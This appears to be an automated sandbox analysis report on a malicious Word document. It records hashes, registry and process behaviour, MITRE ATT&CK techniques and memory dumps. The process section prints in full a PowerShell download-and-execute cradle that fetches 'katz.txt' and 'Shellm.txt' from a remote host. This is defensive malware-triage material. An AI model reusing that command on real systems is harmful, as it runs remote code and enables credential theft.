8a304b04b8c480ab83508f0599edcb3b3970cc16df34c513b16c8781ebd3bd19

Analysis

max time kernel
36s
max time network
36s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19-04-2024 01:51

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General

Target

8a304b04b8c480ab83508f0599edcb3b3970cc16df34c513b16c8781ebd3bd19.doc
Size

32KB
MD5

0d0c88337fda0ca2a004c7d7696079f0
SHA1

a94260ea968432aa9a30f94de14f76f2f18fa8cd
SHA256

8a304b04b8c480ab83508f0599edcb3b3970cc16df34c513b16c8781ebd3bd19
SHA512

ba9de2ce345f8aa495a1a937bbba6c164c1c12fae88e61a00ee8848526d62f2066bc18a59f34c07161c4db5a40c630c31b873fc6f319dbdb241827bc86273a26
SSDEEP

192:IIlLZEvA+6/6rNavrgYjk+4bWlW3INtb8t5CNw0y1sg0jZ/kfxaElrmXru:IE8iSwvxjk+tWOtwtAaf1sg0jMZrqru

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.45.234:443/Tools/Heat/katz.txt

ps1.dropper

http://192.168.45.234:443/Tools/Heat/Shellm.txt

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2300 628 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2300	628	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2704 WINWORD.EXE
2704 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2300 powershell.exe
2300 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2300 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2704 WINWORD.EXE
2704 WINWORD.EXE
2704 WINWORD.EXE
2704 WINWORD.EXE
2704 WINWORD.EXE
2704 WINWORD.EXE
2704 WINWORD.EXE

pid	process
2704	WINWORD.EXE
2704	WINWORD.EXE

pid	process
2300	powershell.exe
2300	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2300	powershell.exe

pid	process
2704	WINWORD.EXE
2704	WINWORD.EXE
2704	WINWORD.EXE
2704	WINWORD.EXE
2704	WINWORD.EXE
2704	WINWORD.EXE
2704	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8a304b04b8c480ab83508f0599edcb3b3970cc16df34c513b16c8781ebd3bd19.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell echo ha;iex(new-object system.net.webclient).downloadstring('http://192.168.45.234:443/Tools/Heat/katz.txt');iex(new-object system.net.webclient).downloadstring('http://192.168.45.234:443/Tools/Heat/Shellm.txt')
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8D87.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xm3vmfe4.4vm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2300-38-0x0000023D632E0000-0x0000023D632F0000-memory.dmp

Filesize
64KB

Download
memory/2300-542-0x00007FFC3AB30000-0x00007FFC3B5F1000-memory.dmp

Filesize
10.8MB

Download
memory/2300-540-0x0000023D632E0000-0x0000023D632F0000-memory.dmp

Filesize
64KB

Download
memory/2300-539-0x0000023D632E0000-0x0000023D632F0000-memory.dmp

Filesize
64KB

Download
memory/2300-538-0x0000023D632E0000-0x0000023D632F0000-memory.dmp

Filesize
64KB

Download
memory/2300-52-0x00007FFC3AB30000-0x00007FFC3B5F1000-memory.dmp

Filesize
10.8MB

Download
memory/2300-46-0x0000023D633F0000-0x0000023D63412000-memory.dmp

Filesize
136KB

Download
memory/2300-39-0x0000023D632E0000-0x0000023D632F0000-memory.dmp

Filesize
64KB

Download
memory/2704-21-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-11-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-12-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-13-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-15-0x00007FFC24350000-0x00007FFC24360000-memory.dmp

Filesize
64KB

Download
memory/2704-14-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-16-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-18-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-17-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-19-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-1-0x00007FFC26510000-0x00007FFC26520000-memory.dmp

Filesize
64KB

Download
memory/2704-20-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-33-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-36-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-37-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-10-0x00007FFC24350000-0x00007FFC24360000-memory.dmp

Filesize
64KB

Download
memory/2704-9-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-8-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-7-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-50-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-51-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-5-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-6-0x00007FFC26510000-0x00007FFC26520000-memory.dmp

Filesize
64KB

Download
memory/2704-535-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-536-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-537-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-4-0x00007FFC26510000-0x00007FFC26520000-memory.dmp

Filesize
64KB

Download
memory/2704-3-0x00007FFC66490000-0x00007FFC66685000-memory.dmp

Filesize
2.0MB

Download
memory/2704-0-0x00007FFC26510000-0x00007FFC26520000-memory.dmp

Filesize
64KB

Download
memory/2704-541-0x0000024941CD0000-0x0000024942CA0000-memory.dmp

Filesize
15.8MB

Download
memory/2704-2-0x00007FFC26510000-0x00007FFC26520000-memory.dmp

Filesize
64KB

Download